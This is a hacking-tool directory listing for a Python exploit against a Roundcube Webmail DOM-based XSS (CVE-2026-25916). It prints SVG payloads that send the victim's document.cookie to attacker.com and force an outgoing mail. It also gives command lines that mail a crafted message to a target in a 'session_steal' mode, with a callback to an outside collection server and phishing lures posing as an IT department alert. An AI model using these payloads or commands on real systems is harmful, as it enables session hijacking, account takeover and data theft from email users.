Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-25916-Roundcube-Webmail-DOM-based-XSS-Exploit-via-SVG-href-Attribute — Python exploit for Roundcube Webmail DOM-based XSS (CVE-2026-25916) via SVG href attributes, enabling session hijacking and data exfiltration through crafted emails. | Kitploit
Tools/GitHubGitHub/mbanyamer/cve-2026-25916-roundcube-webmail-dom-based-xss-exploit-via-svg-href-attribute
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityEmail Security
GitHubmbanyamer/cve-2026-25916-roundcube-webmail-dom-based-xss-exploit-via-svg-href-attribute

CVE-2026-25916-Roundcube-Webmail-DOM-based-XSS-Exploit-via-SVG-href-Attribute

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

Python exploit for Roundcube Webmail DOM-based XSS (CVE-2026-25916) via SVG href attributes, enabling session hijacking and data exfiltration through crafted emails.

View Repository
316 months agoNot yet reviewed
Share

CVE-2026-25916: Roundcube Webmail DOM XSS Exploit

📋 Exploit Information

Exploit Title: Roundcube Webmail DOM XSS via SVG href (CVE-2026-25916)
Author: Mohammed Idrees Banyamer
Contact: GitHub @mbanyamer | Instagram @banyamer_security
Country: Jordan
Date: February 9, 2026
CVE: CVE-2026-25916
Type: DOM-based Cross-Site Scripting (XSS)
Platform: Web Application
Tested on: Roundcube 1.6.8, Ubuntu 22.04
CVSS Score: 6.1 (Medium)

🚨 Legal Disclaimer

⚠️ WARNING: This exploit is for educational and authorized testing purposes only.
Use only on systems you own or have explicit written permission to test.
The author is not responsible for any misuse or illegal activities.

📖 Vulnerability Description

Roundcube Webmail versions before 1.6.9 contain a DOM-based XSS vulnerability in SVG handling. The application fails to properly sanitize href and attributes in SVG elements, allowing JavaScript execution via specially crafted emails.

xlink:href

Affected Versions: Roundcube Webmail < 1.6.9
Fixed in: Version 1.6.9 (Commit 26d7677)
CWE: CWE-79 - Improper Neutralization of Input During Web Page Generation
Attack Vector: Remote via email
Impact: Session Hijacking, Account Takeover, Data Exfiltration

🔧 Technical Details

The vulnerability exists in rcube_washtml.php where href attributes in SVG elements were not properly validated:

root@kitploit:~
<!-- Vulnerable SVG elements -->
<use href="javascript:alert(document.cookie)">
<image xlink:href="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)">
<a xlink:href="javascript:fetch('/?_task=mail&_action=send',{method:'POST',body:'[email protected]'})">

```bash
python3 cve-2026-25916.py -s smtp.gmail.com -p 587 -u [email protected] -w your_password -r [email protected]
root@kitploit:~
python3 cve-2026-25916.py \
  -s smtp.gmail.com \
  -p 587 \
  -u [email protected] \
  -w app_password \
  -r [email protected] \
  -t session_steal \
  --callback https://yourserver.com/collect \
  --subject "Security Alert" \
  --from-name "IT Department"
Download Tool